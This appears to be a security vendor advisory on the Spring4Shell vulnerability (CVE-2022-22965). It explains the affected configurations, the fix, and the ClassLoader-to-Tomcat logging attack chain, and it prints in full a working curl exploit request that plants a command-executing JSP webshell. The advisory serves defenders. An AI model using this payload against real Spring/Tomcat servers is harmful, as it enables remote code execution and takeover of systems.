On March 30, 2022, rumors began to circulate about an unpatched remote code execution vulnerability in Spring Framework after a researcher published and quickly deleted a technical writeup and proof-of-concept (PoC) exploit code. The writeup and code targeted a zero-day vulnerability in Spring Framework. After multiple security vendors confirmed the vulnerability, including Rapid7, Spring confirmed it as a ClassLoader manipulation vulnerability on March 31, 2022. The vulnerability is being referred to as “Spring4Shell” and has been assigned CVE-2022-22965. The assigning CNA, VMware, scored the vulnerability CVSSv3 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). At this time, the CVE entry has not been populated by MITRE of NVD.

A number of proof of concept exploits exist. To date, they all target applications running on top of Tomcat. Rapid7, GreyNoise, and BadPackets have all observed in-the-wild exploitation and/or scanning attempts. However, the activity appears limited to a small number of actors. Given the very specific configuration requirements for a target to be exploitable, it’s unclear if opportunistic exploitation will ever be viable. We should get more clarity on that as companies review their products and issue patches.

The requirements for an application to be vulnerable follow:

• They must use a vulnerable version of Spring Framework. Spring stated the currently maintained branches, 5.3 and 5.2, are vulnerable up to versions 5.3.17 and 5.2.19 respectively. Rapid7’s testing further indicated that end-of-life (EOL) versions such as 5.1, 5.0 and 4.3 are also vulnerable. EOL versions are unlikely to get patched.
  
• The application must be running on a version of Java greater than 8. The vulnerability is directly related to a change made in Java 9 and beyond.
  
• The application must uses one of the various request mapping annotations (e.g. @RequestMapping, @PostMapping, @PutMapping, etc) and the associated method must accept at least one plain old java object (POJO) parameter without using a @RequestBody annotation.
  

Current proof of concept exploits also require the vulnerable application to use Tomcat. We’ll discuss why a little further down.

Analysis

Spring fixed CVE-2022-22965 in commit 002546b3e4b8d791ea6acccb81eb3168f51abb15. The commit adds checks to the CachedIntrospectionResults method to ensure that attackers cannot access the ClassLoader via the Java Class getModule method. Spring likely did not anticipate that the getModule method would be introduced to Class in Java 9 (or any version), resulting in this oversight.

Access to the ClassLoader does not immediately grant the attacker code execution. Exploitation will depend on a variety of factors, but most important what the ClassLoader exposes. Tomcat uses a particularly useful ClassLoader for attacks. That’s because the TomCat ClassLoader, WebappClassLoaderBase, allows the attacker to reach down into the Tomcat logging functionality and write files to disk. This is a known technique that has been used as far back as 2014, and it’s exactly what the original proof of concept did.

The attack chain, when used in the original exploit, looks like this:

class.module.classLoader.resources.context.parent.pipeline.first

This can be translated into the following calls:

• getModule()
  
• getClassLoader()
  
• getResources()
  
• getContext()
  
• getParent()
  
• getPipeline()
  
• getFirst()
  

The original exploit then manipulates the valve’s attributes in order to write an arbitrary file to webapp/ROOT/. It specifically alters five attributes:

1. pattern: the webshell’s content
   
2. suffix: the webshell’s extension (.jsp)
   
3. directory: the directory to write to (webapps/ROOT/)
   
4. prefix: the filename (tomcatwar)
   
5. fileDateFormat: blank so that Tomcat doesn’t muck up the file with timestamps.
   

This can all be combined into a single curl request:

curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/rapid7

To test this yourself, please check out this intentionally vulnerable application on GitHub. Thank you to the community for adding a Docker file!

The original proof of concept shows one way to go about exploiting this vulnerability. Motivated hackers are very clever. They will likely find new techniques and custom ClassLoaders to abuse.

Detection, Mitigation, and Patching

Ideally, we like to have a detection section here. However, successful exploitation does not appear to cause any specific logging. The best advice, as far as detection goes, is to continue monitoring your web server’s for webshells and use WAF/IDS that can detect these types of attacks on the wire.

Spring has released patches for this vulnerability. In an ideal world, everyone would just update. However, upgrading is not always possible and we’ve heard that upgrading Spring Framework can be non-trivial. A variety of organizations have offered mitigation advice, including Spring themselves, so we won’t repeat the guidance here. We only encourage you to treat this as a priority, and to patch or mitigate whether you are using Tomcat or not.